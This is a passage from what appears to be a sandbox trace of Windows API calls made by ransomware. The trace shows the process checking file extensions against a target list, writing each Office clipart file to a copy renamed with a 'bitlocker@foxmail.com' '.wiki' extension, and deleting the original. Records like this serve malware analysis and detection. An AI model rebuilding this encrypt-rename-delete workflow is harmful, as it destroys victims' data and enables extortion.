Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.893] lstrlenW (lpString=".zip") returned 4 [0196.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.893] lstrlenW (lpString=".rar") returned 4 [0196.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.893] lstrlenW (lpString=".bz2") returned 4 [0196.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.893] lstrlenW (lpString=".7z") returned 3 [0196.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.893] lstrlenW (lpString=".dbf") returned 4 [0196.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.893] lstrlenW (lpString=".1cd") returned 4 [0196.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.893] lstrlenW (lpString=".jpg") returned 4 [0196.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.894] lstrlenW (lpString=".doc") returned 4 [0196.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.894] lstrlenW (lpString=".docx") returned 5 [0196.894] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0196.894] lstrlenW (lpString=".pdf") returned 4 [0196.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.894] lstrlenW (lpString=".xls") returned 4 [0196.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.894] lstrlenW (lpString=".xlsx") returned 5 [0196.894] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0196.894] lstrlenW (lpString=".ppt") returned 4 [0196.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.894] lstrlenW (lpString=".zip") returned 4 [0196.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.894] lstrlenW (lpString=".rar") returned 4 [0196.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.894] lstrlenW (lpString=".bz2") returned 4 [0196.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.894] lstrlenW (lpString=".7z") returned 3 [0196.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.894] lstrlenW (lpString=".dbf") returned 4 [0196.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.894] lstrlenW (lpString=".1cd") returned 4 [0196.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0196.895] lstrlenW (lpString=".jpg") returned 4 [0196.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.895] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.895] lstrlenW (lpString="J0152436.WMF") returned 12 [0196.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.895] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11340) returned 1 [0196.895] CloseHandle (hObject=0x1e4) returned 1 [0196.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 0x20 [0196.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.896] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.896] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.896] GetLastError () returned 0x0 [0196.896] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2c4c, lpOverlapped=0x0) returned 1 [0196.898] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2c50, lpOverlapped=0x0) returned 1 [0196.899] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.899] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.899] SetEndOfFile (hFile=0x200) returned 1 [0196.899] CloseHandle (hObject=0x200) returned 1 [0196.899] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.899] SetEndOfFile (hFile=0x1e4) returned 1 [0196.900] CloseHandle (hObject=0x1e4) returned 1 [0196.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0196.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.901] lstrlenW (lpString=".doc") returned 4 [0196.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.901] lstrlenW (lpString=".docx") returned 5 [0196.901] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0196.901] lstrlenW (lpString=".pdf") returned 4 [0196.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.901] lstrlenW (lpString=".xls") returned 4 [0196.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.901] lstrlenW (lpString=".xlsx") returned 5 [0196.901] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0196.901] lstrlenW (lpString=".ppt") returned 4 [0196.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.901] lstrlenW (lpString=".zip") returned 4 [0196.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.901] lstrlenW (lpString=".rar") returned 4 [0196.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.901] lstrlenW (lpString=".bz2") returned 4 [0196.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.901] lstrlenW (lpString=".7z") returned 3 [0196.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.901] lstrlenW (lpString=".dbf") returned 4 [0196.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.901] lstrlenW (lpString=".1cd") returned 4 [0196.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.901] lstrlenW (lpString=".jpg") returned 4 [0196.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.902] lstrlenW (lpString=".doc") returned 4 [0196.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString=".docx") returned 5 [0196.902] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0196.902] lstrlenW (lpString=".pdf") returned 4 [0196.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString=".xls") returned 4 [0196.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.902] lstrlenW (lpString=".xlsx") returned 5 [0196.902] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0196.902] lstrlenW (lpString=".ppt") returned 4 [0196.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.902] lstrlenW (lpString=".zip") returned 4 [0196.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.902] lstrlenW (lpString=".rar") returned 4 [0196.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString=".bz2") returned 4 [0196.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString=".7z") returned 3 [0196.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.902] lstrlenW (lpString=".dbf") returned 4 [0196.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.902] lstrlenW (lpString=".1cd") returned 4 [0196.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned 63 [0196.902] lstrlenW (lpString=".jpg") returned 4 [0196.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.903] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.903] lstrlenW (lpString="J0152556.WMF") returned 12 [0196.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.903] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16432) returned 1 [0196.903] CloseHandle (hObject=0x1e4) returned 1 [0196.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 0x20 [0196.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.904] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.904] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.904] GetLastError () returned 0x0 [0196.904] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4030, lpOverlapped=0x0) returned 1 [0196.906] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4040, lpOverlapped=0x0) returned 1 [0196.907] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.907] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.907] SetEndOfFile (hFile=0x200) returned 1 [0196.907] CloseHandle (hObject=0x200) returned 1 [0196.908] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.908] SetEndOfFile (hFile=0x1e4) returned 1 [0196.908] CloseHandle (hObject=0x1e4) returned 1 [0196.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0196.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.910] lstrlenW (lpString=".doc") returned 4 [0196.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.910] lstrlenW (lpString=".docx") returned 5 [0196.910] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0196.910] lstrlenW (lpString=".pdf") returned 4 [0196.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.910] lstrlenW (lpString=".xls") returned 4 [0196.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.910] lstrlenW (lpString=".xlsx") returned 5 [0196.910] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0196.910] lstrlenW (lpString=".ppt") returned 4 [0196.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.910] lstrlenW (lpString=".zip") returned 4 [0196.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.910] lstrlenW (lpString=".rar") returned 4 [0196.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString=".bz2") returned 4 [0196.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString=".7z") returned 3 [0196.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.911] lstrlenW (lpString=".dbf") returned 4 [0196.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.911] lstrlenW (lpString=".1cd") returned 4 [0196.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.911] lstrlenW (lpString=".jpg") returned 4 [0196.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.911] lstrlenW (lpString=".doc") returned 4 [0196.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString=".docx") returned 5 [0196.911] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0196.911] lstrlenW (lpString=".pdf") returned 4 [0196.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString=".xls") returned 4 [0196.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.911] lstrlenW (lpString=".xlsx") returned 5 [0196.911] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0196.911] lstrlenW (lpString=".ppt") returned 4 [0196.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.911] lstrlenW (lpString=".zip") returned 4 [0196.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.912] lstrlenW (lpString=".rar") returned 4 [0196.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.912] lstrlenW (lpString=".bz2") returned 4 [0196.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.912] lstrlenW (lpString=".7z") returned 3 [0196.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.912] lstrlenW (lpString=".dbf") returned 4 [0196.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.912] lstrlenW (lpString=".1cd") returned 4 [0196.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0196.912] lstrlenW (lpString=".jpg") returned 4 [0196.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.912] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.912] lstrlenW (lpString="J0152558.WMF") returned 12 [0196.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.985] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16052) returned 1 [0196.985] CloseHandle (hObject=0x1e4) returned 1 [0196.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 0x20 [0196.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0197.116] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.116] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0197.144] GetLastError () returned 0x0 [0197.144] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x3eb4, lpOverlapped=0x0) returned 1 [0197.153] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3ec0, lpOverlapped=0x0) returned 1 [0197.154] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.155] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.155] SetEndOfFile (hFile=0x1e0) returned 1 [0197.155] CloseHandle (hObject=0x1e0) returned 1 [0197.155] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.155] SetEndOfFile (hFile=0x1d0) returned 1 [0197.156] CloseHandle (hObject=0x1d0) returned 1 [0197.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0197.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.156] lstrlenW (lpString=".doc") returned 4 [0197.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.156] lstrlenW (lpString=".docx") returned 5 [0197.156] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.156] lstrlenW (lpString=".pdf") returned 4 [0197.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.156] lstrlenW (lpString=".xls") returned 4 [0197.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.156] lstrlenW (lpString=".xlsx") returned 5 [0197.156] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.157] lstrlenW (lpString=".ppt") returned 4 [0197.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.157] lstrlenW (lpString=".zip") returned 4 [0197.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.157] lstrlenW (lpString=".rar") returned 4 [0197.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString=".bz2") returned 4 [0197.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString=".7z") returned 3 [0197.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0197.157] lstrlenW (lpString=".dbf") returned 4 [0197.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.157] lstrlenW (lpString="C:\\Program 